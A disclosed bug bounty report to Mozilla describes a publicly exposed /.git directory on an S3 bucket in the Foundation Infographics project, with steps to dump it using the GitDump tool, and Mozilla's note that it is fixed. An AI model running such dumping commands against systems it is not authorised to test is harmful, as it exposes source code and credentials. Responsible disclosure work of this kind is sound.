Mozilla · Report #2383486
Insecure S3 Bucket Exposing Git Directory in Mozilla Foundation Infographics Project
Summary
Git configuration was leaked in one of the S3 buckets used by Mozilla Foundation Infographics Project. The configuration included an old Github access token which was no longer valid. We restricted access to the .git directory on the bucket.
How it was found
Summary
I discovered an insecure S3 bucket associated with the Mozilla Foundation's Infographics project. While the bucket itself is inaccessible, the DotGit extension alerted me that the /.git directory is accessible. I was able to use the GitDump tool to dump the entire directory.
Details
Repository Link: Mozilla Foundation Infographics
S3 Bucket: mofo-infographics.s3.amazonaws.com
Steps to Reproduce
- Open terminal and enter
git clone https://github.com/Ebryx/GitDump.git - Navigate to the GitDump directory with
cd GitDump - Run the GitDump tool with
python3 ./git-dump.py https://mofo-infographics.s3.amazonaws.com/ - Navigate to the output directory with
cd output/.git - Observe that all files have been dumped
POC
█████████
Impact
The exposure of the /.git directory can lead to unauthorized access to sensitive information, such as source code, configuration files, and potentially secrets or credentials stored in the repository.